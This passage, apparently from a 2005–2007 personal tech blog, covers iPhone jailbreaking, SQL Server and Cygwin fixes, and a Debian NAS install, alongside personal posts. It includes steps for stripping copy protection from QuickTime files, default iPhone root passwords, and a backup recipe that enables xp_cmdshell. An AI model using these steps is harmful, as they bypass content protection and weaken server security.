2. Press the home and wake/sleep buttons and hold them until the iPhone resets and the screen goes black, then release the wake/sleep button.
3. When iTunes pops up the message "ITunes has detected an iPhone in recovery mode" release the home button.
4. 1.1.1 Firmware
Jailbreak
Download both of these, if you are on a mac, don't use safari to download the firmware as it will extract it and you don't want that.
5. After these files have downloaded, hold Option+Alt and click on restore in iTunes, Select the 1.1.1 Firmware ISPW file. It will install and error out at the end with a 1015 error. This is the expected outcome.
6. Kick the iPhone out of this mode by running jailbreak.jar and clicking Boot From Recovery (don't enable any other options)
7. Open safari on the iPhone and go to http://jailbreakme.com scroll down and run Install AppSnapp, safari will exit and download/install AppSnapp, unlock the iPhone and its jailbroken.
8. Launch Installer on iPhone and scroll down to Tweaks (1.1.1) in the install tab. Select OkToPrep and install
9. Click Check For Update in iTunes and it will download and install the 1.1.2 update
10. Quit iTunes, run jailbreak.jar and select jailbreak (and install SSH as well)

Enabling EDGE on O2 again
ssh root@ip_address_of_my_iphone
use either the password alpine or dottie or the password that you set on jailbreak (each line is one command, so 3 in total)

rm /var/root/Library/Preferences/com.apple.carrier.plist

ln -s /System/Library/Frameworks/CoreTelephony.framework/Support/O2_UK.plist /var/root/Library/Preferences/com.apple.carrier.plist

rm -f /var/root/Library/Preferences/SystemConfiguration/preferences.plist

Reboot the iPhone by switching off (hold the wake/sleep button and slide to power off) then starting it again.

Job Done!

Synergy Fix in Kubuntu

2007-07-17T11:14:00.001Z

Synergy has a problem with displaying the @ symbol on a synergyc session, this is the necessary command to fix this (symptom is displaying OHM symbol instead of '@')
This needs done after every X restart.

echo keycode 24 = q Q at at at at | xmodmap -

AD Replication strangeness

2007-06-15T12:55:00.000Z

Another very short note, after deploying 3 AD Servers, 1 as PDC and the others as BDCs, I couldnt get a BDC at another site to replicate the AD structures etc.
Tried all the troubleshooting on the MS site (couldn't understand a lot of it but that will come with time and more experience) but I did remember this one tip.
Whatever is the simplest explanation is usually the correct one.

I had the subnet mask set incorrectly on the server that was causing the problem, a quick change of that to be 255.255.0.0 (rather than 255.0.0.0) and we were sorted and replicating happily.

Windows Installer

2007-05-31T19:52:00.001Z

Is a lying bastard.

That is all.

Kill-9

2007-04-06T10:10:00.000Z

This is a rap about kill -9 from a CS Student at Stanford U.

The full Lyrics can be got here and the audio track is found here

Cleaning macbook keys

2007-03-20T14:09:00.000Z

Okay, first off, a bit of advice, DO NOT EAT A TOASTED CHEESE SANDWICH NEAR YOUR MACBOOK WHILST IT IS OPEN!
I simply cannot stress this point enough, if I had paid attention to this it would have made my life much less complicated.

Okay, so you have either a bit of hair, or a stringy bit of cheese under a keycap (in my case the 'B') the way to remove it is quite simple.
Tools required:

Mini swiss army knife (I used this one)
Pin (not needle, you need the enamel head)

Using the screwdriver blade, slide it under the keycap and prise it up very gently, not enough to remove it but enough to see the small scissor mechanism.
Use the tweezers or the toothpick to gently press in the scissor legs on the LEFT hand side of the key (on the edge facing you), it will move slightly and the key will pop up away from you, lift it up and slide it to the right to remove it from the clip.

Now clean out all the crap under the key, I had a bit of cheese (see above) and a hair.

Reinserting the key is a different story, its a hell of a lot more difficult! It took me a few goes at it before I had a brainwave. What you do is insert the pin between the legs of the scissor mechanism to prevent it closing. The head of the pin prevents it falling through so just let it sit whatever way it suits you.
Line up the right hand leg/clip thing and slot it in to the left, then just drop the key in place and then press on it gently, making sure that it is lined up. It should click into place and you are now done!

CFeclipse reporting Wrong J2SE Version

2007-03-16T11:09:00.000Z

Having reinsatlled several machines I have come across a "feature" of the Oracle 9i Administrative Client, it does not play nice and adds its path variables to the start of the $PATH in windows.

This led to much frustration as I *knew* that I had the right version (j2sdk 1.4.2 r10) and it was reporting 1.3.1. CFEclipse would not start and would bomb out with an error reporting an unsuitable java version.

The simple fix to this was to simply add the correct JRE path before the Oracle JRE path. In the majority of my cases it was "C:\J2SDK1.4.2_13\jre\bin" then just run the CFEclipse.exe program and it works!

Resize NTFS Partitions

2007-03-14T11:34:00.000Z

Go and get Gparted here and burn it out, its a linux LiveCD with the Gnome partition manager GParted so that you can resize NTFS partitions non-destructively!

DO IT NOW!

KB925398 Security Update for Windows Media Player 6.4

2006-12-23T08:20:00.000Z

This is another set of patches that has some sort of conflict with CYGWIN running SSHD. it is enough to stop the SSHD service when the updates "hang" on the windows media update.

Fixing orphaned users in SQL 2000

2006-12-21T14:32:00.000Z

Here it is as I keep forgetting how to do it and every time I google it I get a different result...

Use db_name
go
sp_change_users_login 'update_one', 'user_name', 'user_name'

SQL 2005 full transaction log (Or how I almost cried)

2006-12-21T13:27:00.000Z

Background:

SQL 2005 Express Edition with a full transaction log, the normal procedure that I would use for this (a development environment) would be to detach the DB, rename the transaction log to "trans_log.ldf.old" or similar, reattach the DB and go about my normal business.

Not so today, what happened was that the transaction log hit the limit with users still attached, tried to kill them off a-la SQL 2000 enterprise manager using the detach GUI and then hitting the clear users button without actually detaching the DB (sly dog).

This doesn't work in SQL 2005 (express edition at least) so I restarted the SQL2005EXPRESSservice and found that it had indeed detached the DB anyway.

What I had to do to resolve this:

Open up the "Attach Database" GUI window, select the transaction log in the lower pane and hit the remove button.
Hit the script button at the top
Go back to Management Studio and run the new script.
Bish-bosh your DB is now re-attached.

N.B. For some reason if you try to use the GUI window it barfs saying the transaction log is full, even if you have removed the transaction log .ldf from the database files...

Pound as a Proxy

2006-10-11T17:22:00.000Z

We have been using Pound as a proxy to protect a ColdFusion Application server from the internet and limit its exposure to malicious traffic.

I think it is a very good system even though we aren't using it to its full potential yet, from what I have read about it it is able to do load-balancing and clustering and other cool stuff.

It can be a bit of a pain to get it to stop and start as a Daemon but other than that it is very good. It also handles the SSL for the servers behind it, as a standard Win32 Apache 2.0 installation doesn't come with the SSL component, any of the other servers that use SSL and Apache2/Win32 has to have an additional module added and configured, which to be honest is a bit of a pain.

To get pound to do SSL, its a matter of installing openssl, generating your keys and CSRs and certificates, then putting the key and Certificate into one file with a .pem extension and pointing the pound config at it! Restart Pound and you are laughing.

A word of warning, make sure to match up the key to the certificate and that the key is not password protected (see this blog post for more info) as well as that you are not allowed to have any trailing spaces in the .pem file, it makes Pound barf and it is not at all easy to debug when you get the config wrong. A bit of a hint (in Debian at least) is that if Pound doesn't start correctly, the bash prompt will be on the same line as Pound Restarting like

Pound Restarting:servername:/etc/init.d#

I found the above useful but other than that Pound is no help when it comes to finding out what is wrong.

Exporting Protected .mov files with Quicktime

2006-10-05T15:22:00.000Z

As you have probably seen, there are several video clips on this blog of the Apple Ad Spoofs provided courtesy of youTube and the great fuys at www.truenuff.com.

I managed to get the real .mov files by going into the source code for their page and downloading them using wget. I got a copy of Quicktime Pro 7 and realised that I could have these clips on my mobile if i could just export them as I had done plenty of times before for other files.
What happened was a bit of a pain, the export and save as options were greyed out and unselectable. I did a bit of googling and found out about protected .mov files and here is how to make them "unprotected"

Download "dumpster" from apple
Install it and run from your applications or utilities folder (doesnt matter where you put it) it looks like it doesnt do anything but if you check your dock there is a new icon there
make a copy of your .mov file (Justin Casey)
Drag the .mov file to the dumpster icon in the dock and a debug window will appear
Scroll right to the bottom and there will be a key called NSAV
Expand this and there will be two entries on one row $0000 and $0001
Change the $0001 to $0000 and hit Apple + S or save the file in the menu.
Open up your new unprotected .mov file and your export/save options are now enabled!

this does open up the quasi-legal/moral issue of what to do (or not to do) with these files.
I only unprotected it so I could view it on my phone and show other people, not to distribute it or profit from it in anyway, I think this is Fair Use but if anyone has a problem with it I will of course comply with any reasonable requests.

Keep up the good work Truenuff.com!

What your Browser reveals about you

2006-08-21T13:29:00.000Z

Here
I use a mix of Safari, Firefox 1.5.0.x, Camino, IE 6.0 and Opera, I would try and use Camino normally but sometimes it breaks web pages and I have to open them in Safari/Firefox/Opera. I only use IE when absolutely necessary for testing page compatibility and I had IE 7 installed and took it out because it hurt my eyes. Think Opera V4 with bad icons....

Automating SQL 2005 Express Edition Backups

2006-08-08T11:33:00.001Z

SQL2005 Express Edition w/ Management Studio Express looks like it is a very nice DB and management console, it falls down in one place (that I can see) and that is it is missing the maintenance Wizard that was found on SQL 2000.

Now I cant complain as it is a free application and a small stored procedure can restore most of the functionality as regards backups.

Not all the procedures that are required are activated by default and it is very simple to re-activate them. simply copy and paste this code into a text editor and save it as c:/enableprocs.sql

sp_configure 'show advanced options', 1;
GO
RECONFIGURE;
GO
sp_configure 'Ole Automation Procedures', 1;
GO
RECONFIGURE;
GO
sp_configure 'xp_cmdshell', 1
GO
RECONFIGURE
GO

Now execute this command from a "run" prompt

sqlcmd -S .\SQLExpress -i c:\enableprocs.sql

this enables the Ole Automation Procedures and the XP_CMDshell.

Get the expressmaint.sql script here

extract the script and save the .sql file to c:\expressmaint.sql

execute this command

sqlcmd -S .\SQLExpress -i c:\expressmaint.sql

This installs the expressmaint stored procedure which is necessary for this backup method.

PARAMETERS

@database	Y	NONE	The target database for the maintenance operation. Valid values are a single database name, ALL_USER which will process all user databases and ALL_SYSTEM which will process all system databases
@optype	Y	NONE	The type of maintenance operation to be performed. Valid values are DB - Full Database Backup DIFF - Differential Database Backup LOG - Log Backup CHECKDB - Database Integrity Check REINDEX - Rebuild all indexes REORG - Reorganize all indexes
@backupwith	N	NULL	Specify additional backup options as documented in BOL for the BACKUP WITH command
@backupfldr	N	NULL	The base folder to write the backups to. Sub folders will be created for each database
@verify	N	1	Indicates whether to verify the backup file. Valid values are 1 and 0 with 1 = TRUE and 0 = FALSE
@verifywith	N	NULL	Specify additional verify options as documented in BOL for the VERIFY WITH command
@dbretainunit	N	NULL	The unit of measure for the @dbretainval parameter. Valid values are minutes, hours, days, weeks, months and copies. The combination of these two parameters determines how long or how many copies of old backup files are kept
@dbretainval	N	1	The time period or number of copies of old backups to keep
@report	N	1	Indicates whether to produce a report of the maintenance carried out. Valid values are 1 and 0 with 1 = TRUE and 0 = FALSE
@reportfldr	N	NULL	The folder where maintenance reports are written to if @report = 1
@rptretainunit	N	NULL	The unit of measure for the @rptretainval parameter. Valid values are minutes, hours, days, weeks, months and copies. The combination of these two parameters determines how long or how many copies of old reports are kept
@rptretainval	N	1	The time period or number of copies of old reports to keep
@checkattrib	N	0	Indicates whether to check the archive bit on a backup file before deleting it. This is a safety check to prevent deletion of files that have not been backed up onto tape. Valid values are 1 and 0 with 1 = TRUE and 0 = FALSE
@delfirst	N	0	Indicates whether to delete old backups prior to doing the current backup. This is not advisable but can be useful if disk space is limited. Valid values are 1 and 0 with 1 = TRUE and 0 = FALSE
@debug	N	0	Indicates whether print out debug information such as the commands generated and the contents of the temporary tables used in the procedure. Valid values are 1 and 0 with 1 = TRUE and 0 = FALSE

This is the script that I use to backup all user databases, save it as  fullbackup.sql in c:\
exec expressmaint
   @database      = 'ALL_USER', 
   @optype        = 'DB',
   @backupfldr    = 'd:\backups',
   @reportfldr    = 'd:\reports',
   @verify        = 1,
   @dbretainunit  = 'weeks',
   @dbretainval   = 1,
   @rptretainunit = 'weeks',
   @rptretainval  = 1,
   @report        = 1

If you look at the parameters you will see that it backups all user databases, it puts the backups in d:/backups and the reports in d:/reports
it also retains reports and backups for 1 week.

Then just set up a scheduled task in windows to run

sqlcmd -S .\SQLExpress -i c:\fullbackup.sql

on whatever schedule you like. I recommend daily backups if not every 12hrs.

Trusted Computing

2006-07-31T13:26:00.000Z

This is a video demonstrating some of the ideas behind "Trusted Computing" from an industry and a personal standpoint.

I like the idea of trusted computing, in that I will choose what to "trust" in as much as if i decide to make a device do something it wasnt designed to do, I can "trust" it and let it operate alongside whatever else I have plugged in.

In the case of industry Trusted Computing will take this away, it will restrict innovation and limit the spread of ideas, it will affect the 2nd hand hardware market as each device could be restricted to its original purchaser.

Another Funny Video

2006-07-27T16:33:00.000Z

Found out today how to post youTube videos on blogger, so have gone a bit nuts. This one has been doing the rounds for a while, but it still makes me laugh

Funny Mac Videos

2006-07-27T11:37:00.000Z

These are some of the funniest mac videos that I have found so far, I hope that they make some more.

Networking:

Gaming:

Performance:

Installation of Debian on a Dell Poweredge 715n

2006-03-28T09:19:00.000Z

As promised here is a detailed installation guide for debian on a PE715n NAS, in my case I am using it as a high capacity mirrored offsite backup (one onsite, matching one in a different office)

I'm still working on ironing out some of the bugs in my atrocious grammar so don't expect this to be the final version.

Installing Debian on a Dell Poweredge 715n NAS

This device is a 1u headless (no keyboard, mouse or monitor) computer, PIII 1ghz w/ 256MB RAM and 4 IDE HDDs accessible through the front bezel. It is designed to be installed using the Dell OpenManage and Kickstart software to install windows, this isn’t the easiest solution in the world, I wasn’t able to get access to the machine to configure it using this method after 4-5hrs work but was able to install debian within an hour of setting to the task (I Was much quicker the second time round)

This document is intended to explain the process for anyone that is interested or has one of these boxes to install and want a free O/S on it.

This install was performed via PXE,

The PXE (Preboot eXecution Environment) as described in the [ftp://download.intel.com/labs/manage/wfm/download/pxespec.pdf specification (v2.1)] published by Intel and Systemsoft is an environment to bootstrap computers using a network interface card independently of available data storage devices (like hard disks) or installed operating systems (like GNU/Linux). ...

This method requires an additional PC with a network port and a serial port. I used two separate machines (desktop w/ serial connection and network connection) and a laptop with a network connection for logging in to the server via SSH post-installation and getting more information off the internet!

The hardware setup is as follows.

Requirements

Crossover RJ45 network cable

Null-Modem serial cable

Active network connection (DHCP server preferred but not essential)

PC w/serial port and network connection

Step 1: configure Host PC for PXE environment

get tftpd32 from http://tftpd32.jounin.net
unzip this to any folder
get the Debian net install from http://ftp.us.debian.org/debian/dists/unstable/main/installer-i386/current/images/netboot/
download the netboot.tar.gz file and the pxelinux.0 file
extract the netboot.tar.gz file to a folder called tftpboot and copy the pxelinux.0 file to this directory as well
run tftpd32 and go to the settings button (centre at bottom of window)
make sure the following boxes are ticked
TFTP server, Syslog Server, DHCP Server, Save syslog message, PXE Compatibility, Show Progress bar. Set TFTP Security to none and set the base directory to where you extracted the netboot.tar.gz file, click on ok to return to the main menu
on the DHCP server tab enter the following
IP pool starting address: 192.168.1.1
Size of pool: 10
Bootfile: pxelinux.0
WINS/DNS Server: 0.0.0.0
Default Router: 0.0.0.0
Mask: 255.255.255.0
Domain name:
Additional Option: 0
click on save (vertical box to right of options)
Set the “Current Directory” to the directory where you extracted netboot.tar.gz
Exit tftpd32 and start it again
Connect the network port on the PXE host pc to the 1^st net interface on the powervault using the crossover cable and connect the serial cable as well
in the tftpboot/debian-installer/i386/ directory there is a folder called pxelinux.cfg.serial-9600 copy the “default” file contained within to the tftpboot/pxelinux.cfg directory and open this file in your preferred text-editor (I used notepad as it was the only one installed on this PC)
do a search and replace for 9600 and replace it with 115200
Start hyperterminal or your preferred terminal emulator with the following parameters
Bits per second: 115200
Data bits: 8
Parity: None
Stop bits: 1
Flow control: Xon/Xoff

Step 2: Setup the Powervault

Power on the server and on the host computer hyperterminal window you will see the serial output of the boot process, there will be a prompt “Press F2 for Setup function” when you see this immediately press F2 (also try ESC+2), the boot will appear to continue but it will bring up a blue menu. Select option 3 “Reinstallation”, the server will bring up the message “This option will be carried out when the server reboots”, press Y to confirm this
the server will reboot and after about 2-3 min will bring up a prompt(it may be a bit hard to read depending on your terminal emulator) press enter here and the debian installation process will begin.

Step 3: The debian installation pt.1 (Basics)

Plug in the other network connection to the second Ethernet port on the server
Select the default language (English)
The next window will be the network setup, select eth1 as the primary (eth0 is the port connected to the crossover cable) if you have a DHCP server it should pick it up automatically, otherwise you will have to setup up your connection manually

Step 4: The debian installation pt. 2 (partitioning and LVM)

At the partitioning options screen, select the manual method.
On the next screen remove any existing partitions from all the drives
create a new 100MB partition on the first drive, formatted as EXT3 and with a mount point of /boot
create a new partition on the same drive for the remaining space, use these drives as “physical volume for LVM”
create new partitions on the rest of the drives of %100 and used as “physical volume for LVM”
on the main partitioning screen select the Configure LVM and select yes at the prompt (write partition changes to disk)
select Modify Volume Groups
add all the partitions available
give it a meaningful name (PV715 in my case)
select Modify Logical Volumes > Create Logical Volume
give it the name “swap” press enter and select the Volume group it should belong to, in this case there is only one
make it 1GB in size and use the “leave” option to return to the main menu
repeat steps 10 – 12 for the following details
a name of system and a capacity of 9GB
a name of backups and 100% of the remaining capacity
return to the partitioning menu and edit the LVM partitions at the bottom of the list, format them all as EXT3 except for the Logical Volume named swap, format it as swap. Mount the “system” Logical Volume as / and the backups Logical Volume as /backups
select “write partition changes to disk” and let the installer format the drives.

Step 5: The debian installation pt. 3 (Finishing touches)

When it prompts for what kind of system to install remove all options using the spacebar, the only one selected initially is standard setup, this includes an X-server amongst other things and is not necessary for a poweredge installation.
let the installation complete and give it the required information, Root password, and the initial user account.
When the installation completes altogether you will be presented with a login prompt on Hyperterminal on the host computer.
Login using the standard user account and su to root, apt-get install the following options to make management easier: sudo vim nano jed ssh
edit the /etc/network/interfaces file and give the server a static IP address on eth0 (initially)
edit the /etc/sudoers file and add in any users that are to have SU privileges.
do /etc/init.d/networking restart and the installation is complete!

Deploying ColdFusion 5 and MX7 on the same server

2006-03-24T11:36:00.000Z

I have now successfully installed and have running CF5 and MX7 on the same server using multiple instances of Apache with different configuration files so that they run on different port numbers and each have their own administrator.
This was done so that a single laptop could be used to demo several different applications that the company I work for developed under CF5 and MX7, normally we would just use a dedicated demo serve but where the laptop is going there is no guarantee of connecting to them.

Apparently this is quite simple using Multiple instances of ColdFusion MX and MX7, but in this case it had to be CF5 which proved to be a bit of a pain. I initially thought about using IIS for CF5 with Apache running the MX7 side of things, but as IIS is the Server of the Beast I wanted to go for an all Apache installation.

The machine I started with had Apache 2.0.55 already installed and running CF5 so I will take it from there (see my earlier posts on how to get this working as Macromedia/Adobe dont officially support this combination)

INSTALLATION STEPS

1. Create a new Apache httpd.conf configuration file (copy and paste the CF5 httpd.conf if you like) in a subdirectory of Apache's "conf" folder , I called mine MX7 as this is what will be running on it. I also decided to subdivide the document roots for CF5 sites and for MX7 sites, this is not necessary but I found it made a confusing task a bit more manageable.

2. Create a new folder in your Apaches installation's conf folder (default installation will be c:\Program Files\Apache Group\Apache2\conf) name the folder MX7 and copy the httpd.conf file from the Apache conf folder into here.

3. Edit the httpd.conf file in the MX7 directory using your fave text editor, and amend the following lines

Listen 80 -> Listen 8080
ServerName servername:80 -> ServerName servername:8080
NameVirtualHost 127.0.0.1:80 -> NameVirtualHost 127.0.0.1:8080

make sure that the mod_rewite module is enabled in the LoadModule section(uncomment it in most Apache 2 installations)

4. Create a new VirtualHost with these details

ServerAdmin admin@server.com
DocumentRoot "Path/to/where/CFMX7/Administrator/is/going"
ServerName admin.localhost.com
ErrorLog logs/admin.localhost.com-error_log
CustomLog logs/admin.localhost.com-access_log common
RewriteEngine On
RewriteCond %{SERVER_PORT} !^8080$
RewriteRule ^/(.*) http://admin.localhost.com:%{SERVER_PORT}/$1 [L,R]

Make sure that the DocumentRoot exists!

Add this to your hosts file so

127.0.0.1 admin.localhost.com

5. Install CFMX7 Enterprise edition and select Multiserver configuration when prompted. It willask you for the Apache Binary (c:\Program Files\Apache Group\Apache2\bin\apache.exe) and the location of the configuration files (c:\Program Files\Apache Group\Apache2\conf\mx7) It may complain about a pre-existing installation but you can safely ignore this as this is a copy of the CF5 enabled httpd.conf. When asked where the CFAdministrator is to be installed, give it the location you specified as the DocumentRoot in Step 4

6. Open up a "run" prompt and use the following command (assuming default installation paths etc.)

"C:\Program Files\Apache Group\Apache2\bin\Apache.exe" -f "C:\Program Files\Apache Group\Apache2\conf\mx7\httpd.conf"

Make sure to leave the quotes in for a change! You can also create a shortcut with the same parameters for easy access.

7. Go to "http://admin.localhost.com:8080/cfide/administrator" in your favourite browser and you should get the usual CFAdministrator prompt. You will however be asked about migration, you want to skip this step using the "skip" button as your installation has to exist alongside your CF5 installation and you copied a httpd.conf file that had been modified for CF5.

8. Your demo server is now ready to run applications for CF5 and MX7, now its time to add those VirtualHosts and DSNs to the CFAdministrators.

ADMINISTRATION

Administering CF5 (adding Applications and DataSources)

Edit your CF5 Apache configuration (I'll give you a hint, its not the one in the MX7 subdirectory)
and add a new VirtualHost in the normal way, you can copy and paste the example if you do not have any set up.
Add this directive inside the VirtualHost, I'm not sure if it is necessary for all installations but it was in my case so I am including it here for the sake of completeness.

DirectoryIndex index.cfm

This tells Apache to look for the index.cfm file as the index page, I also specify this in the general directive area.

The installation that I was preparing had a MSSQL server running on localhost, so I was using this as my Datasource.
When adding a DSN I had to add it using the CF5 CFadministrator and then go into Control Panel > Administrative Tools > Data Sources (ODBC) and amend the appropriate entry to make it point to the correct location and enable the connection

Administering CFMX7 (adding Applications and DataSources)

This is slightly more complicated as it is a non-standard deployment of CFMX7.
Firstly make sure that the MX7 enabled instance of Apache is running, if it is not, start it using the command shown above.

To add a new Application to Apache open up the MX7 httpd.conf file (found in the MX7 subdirectory if you followed these instructions) and add a VirtualHost, simply copy and paste the one you created for the CFAdministrator and change the following lines

ServerAdmin admin@server.com
DocumentRoot "Path/to/where/Application/is/located"
ServerName url.for.site
ErrorLog logs/url.for.site-error_log
CustomLog logs/url.for.site-access_log common
RewriteEngine On
RewriteCond %{SERVER_PORT} !^8080$
RewriteRule ^/(.*) http://url.for.site:%{SERVER_PORT}/$1 [L,R]

Once this is done and saved you can exit the MX7 Apache instance and restart it.

In my case I had to add the SQL server DBs as ODBC data sources and then add them in to CFadministrator that way instead of just adding them directly. I won't cover this here because if you are reading this far you obviously know your way around a server install.

There are a few additional notes that were important when running these installations.

If you need to restart the CF5 Apache instance (i.e. when adding a new application) it is necessary to stop the MX7 Instance and then restart CF5 and then start the MX7 instance again.

In the CF5 CFadministrator, Datasources that you added under MX7 will appear, but if you press "verify all connections" they will fail the check, this has the disadvantage that you cannot have a datasource in CF5 with the same name as an MX7 datasource.

If I was to do this installation again I would do some stuff differently, I would install MX7 first and give it port 80, this is down to the fact that in order to install CF5 along with Apache2 it is necessary to configure the httpd.conf file manually, I would also copy the httpd.conf file before installing CFMX7, this should stop it from complaining about migrating settings etc, also if I did install MX7 first, CF5 might barf when it sees the newer directives, I don't know for sure if it would do this, but better safe than sorry.

When the install was done, some of the applications didnt work straight away but this was down to the paths to the files and the URLs being slightly different.

I hope that this is of some use to someone else that comes across it. Next time I will probably try it using a VirtualMachine running Linux or Windows 2000 server edition, hopefully it would be a very tidy solution as the instances would run totally independently! That is an experiment for another day (Saturday, maybe?)

I have another fairly long post coming up detailing a headless install of a Dell Poweredge 715n NAS, using only a crossover network cable and a DB9 serial cable. Stay tuned!

SSHD Broken under Cygwin

2006-01-31T16:04:00.000Z

A word of warning, be very, very careful when changing permissions of anything that Cygwin uses, in fact don't even think about doing it because more likely than not you will break it.

I came across this problem today when I changed the ownership on a Cygwin directory from SYSTEM to Administrators.

This broke SSH and the service would not start, it fails with the message "The service did not start or respond in a timely manner" or some nonsense like that.

The way to fix this is as follows

1. delete the file /var/log/sshd.log
2. open a bash shell and cd to /var
3. chown SYSTEM.none empty
4. chmod 0600 empty
5. cd to /etc and do
6. chown SYSTEM.none ssh*key
7. chmod 0600 ssh*key

you should now be able to start the SSH Daemon by either net start sshd or cygrunsrv -S sshd or starting it through services.msc

WOOOO!!! MAC WOOOO!!!

2006-01-03T14:16:00.000Z

well this Christmas has got to be one of the best ever!
My fantastic wife made it so special for me it almost felt like being a child again, being shooed off to bed so that the presents could be laid out when we came down in the morning and all that.

She also managed to get me my mac mini and a few other bits and pieces without me realising it. This you might think would be simple but normally nothing happens in our house without me knowing about it, probably down to my unceasing need to know everything, even if it is none of my business!

When I unwrapped it on christmas morning there were a few choice words spoken, mostly unrepeatable...

Needless to say that it is one of the nicest bits of engineering that I have had the pleasure of using; OS X is such a joy to use, everything seems to fall to hand without thinking about it. It just seems to come naturally, even to someone with an almost exclusively windows background.

Expose just makes life so much more manageable and iPhoto is amazing. I havent had to install a single driver for any of the peripherals that I have hooked up to it. I still have to get used to some of its quirks like CTRL + "end" does not take you to the end of the line, only the end of the word.

And the fact that I am using a windows keyboard so I need to memorise which windows key maps to which Apple key.

Networking was picked up out of the box and just worked, even our strange VPN connection.

Anyway, I think I need a full day just to play around with it and learn more about where things go and how the permissions work.
I have spent far too long already messing about with the dock, the genie effect is so mesmerising...

Puppy

2005-12-20T12:25:00.000Z

Last night was very exciting for me, we got a new puppy in the house.

The story begins with our neighbours getting a new pup as well, ours' brother to be specific. Then our neighbours found out they were going to have another baby and the mother couldn't deal with the smells and the mess that puppies bring. We had planned to give it a home over Christmas and help them rehome it.

We were a bit disappointed when we found out last night that they were going to keep him but thought it was for the best. We had our hearts set on getting a puppy and putting in the effort that is needed so we were going to the local rehoming centre and were going to adopt another.

The neighbours mentioned that their pup had a brother and two sisters that also needed homes, and that they could bring them down so we could have a look at them. We told them just to bring down the dog as we have two already and wouldn't be able to home a bitch.

We kinda discussed it and thought it was a bad idea but as soon as he arrived in with us our minds were made up, we took him there and then, he's called Remus and we have no idea what he is.

No-one has any idea what breed he is apart from being a bitsa (bitsa this and bitsa that) so he could grow to be as big as a big thing or just stay as small as he is now.

I'm heading home at lunchtime to feed him and let him out so I'll take a few photos and post them here, I have one on my camera phone but the quality is awful.

***UPDATE***

As promised here is a photo, didnt have time to take anymore. Might take some more tonight...

360 Launch Day

2005-12-02T08:56:00.000Z

Well, today started off very interesting for me!
If you don't know it was the official European launch of the XB0x 360 and I was at the front of the queue.
I had to get up at stupid o' clock but I would guess that I was the first person in the town to get one.
It was a miserable cold wet stand outside the shop for an hour and a half and I feel like I want to die as my joints loosen up and the monkeys in my brain unfreeze and starting playing those blasted drums again.

But
so
totally
worth
it

But here's the kicker, I'm not allowed to play it til Christmas. I have a sneaking suspicion that I might be getting a Mac Mini as well but its only a suspicion at the minute...

I'll keep it posted, might "trip" over one when I'm up in the attic.

MAC Watch

2005-11-18T10:47:00.000Z

I'm currently saving up to treat myself to a shiny new Mac; I've always wanted one and I have now "got permission" to buy one thanks in no small part for my willingness to part with silly amounts of money for a Canon EOS 20D, probably one of the coolest digital SLRs that you can buy without selling 2 or three internal organs.

My initial plan was to get a mac mini and convince the wife to scrap the desktop PC, its just too big and we don't really need all the processing power and storage that I have accumulated over the years.

I thought a Mac mini would fit our needs perfectly and increase the workflow of our little home photography studio. Namely by letting me create a little Automator program that when a photo was dropped on to it, it would rotate to portrait mode, resize to 10x15 or whatever other sizes I decide I want to print on, set the resolution to 300DPI and then print it. This would remove about oh lets say a half dozen steps in photoshop.

Then this interesting article dropped in my inbox and changed all that
http://www.thinksecret.com/news/0511intelibook.html

Now im swinging to getting an iBook and just using it as a workstation with better portability, I would of course be wanting to get another one, just so that if I have it with me, there is still one at home/with the wife.

My wife doesn't use the PC that much anyway, a bit of light photoediting and printing, webcam chats with her dad in Thailand and stepsister on an island in the Philipines, iTunes, some internet browsing and thats about it.

I only need some Linux programs, Dreamweaver and a Microsoft remote desktop connection and I am able to work from home on whatever I need to.

Oh wait, all of those are available for OS X, and even if they weren't I have an old Sony VAIO that can be trundled out when I absolutely, positively want to(have to) gouge my eyes out on Windows 2000 with 64MB RAM.

I'll keep this updated with how the quest for mac progresses, and how much I love/hate it when it arrives.

Battyness today!

2005-11-17T14:31:00.000Z

Again, some more .bat scripting to make my life a bit easier!
This time its SQL Enterprise Manager that is misbehaving; for whatever reason the wrong DLL's get registered and when you try to connect to any SQL database server you get and OLE 13686 error saying that you must upgrade Enterprise manager.
What you do is unregister some DLLs, copy the proper ones back in from the SQL install media and then re-register the new DLLs. IN my case the install media lives on a network drive.

@ECHO OFF
:: SQLSRVR.bat
:: Written by Daniel McLaughlin
:: http://danmacs.blogspot.com
ECHO Mounting Network Share as Local Drive
NET USE t: \\NET IP ADDRESS\share\Applications\sql2000\x86\binn /PERSISTENT:NO

CLS
ECHO *********************************WARNING*********************************
ECHO * You Should only run this if you are receiving the OLE 16386 Error *
ECHO * This assumes that you are using the default directory structure *
ECHO * i.e. .../program files/Microsoft SQL Server *
ECHO *********************************WARNING*********************************
ECHO.
ECHO.
PAUSE
ECHO.
ECHO.
ECHO *********************************INFO*********************************
ECHO You Will now unregister the DLLs invlolved with
ECHO SQL Enterprise Manager 2000
ECHO Five (5) Information boxes will appear, click OK on each
ECHO *********************************INFO*********************************
ECHO.
ECHO.
ECHO.
PAUSE

CD "%1:\Program Files\Microsoft SQL Server\80\Tools\Binn"

REGSVR32 /u dtsui.dll
REGSVR32 /u sqlns.dll
REGSVR32 /u sqldmo.dll
REGSVR32 /u sqllex.dll
REGSVR32 /u sqlmmc.dll

ECHO.
ECHO *********************************INFO*********************************
ECHO You Will now re-register the DLLs invlolved with
ECHO SQL Enterprise Manager 2000
ECHO Five (5) Information boxes will appear, click OK on each
PAUSE

ECHO STEP 1
ECHO.
ATTRIB -R "%1:\Program Files\Microsoft SQL Server\80\Tools\Binn\dtsui.dll"
ATTRIB -R "%1:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlns.dll"
ATTRIB -R "%1:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqldmo.dll"
ATTRIB -R "%1:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqllex.dll"
ATTRIB -R "%1:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmmc.dll"

ECHO STEP 2
ECHO.
DEL "%1:\Program Files\Microsoft SQL Server\80\Tools\Binn\dtsui.dll"
DEL "%1:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlns.dll"
DEL "%1:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqldmo.dll"
DEL "%1:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqllex.dll"
DEL "%1:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmmc.dll"
CD \

ECHO STEP 3
ECHO.
XCOPY "t:\dtsui.dll" "%1:\Program Files\Microsoft SQL Server\80\Tools\Binn"
XCOPY "t:\sqlns.dll" "%1:\Program Files\Microsoft SQL Server\80\Tools\Binn"
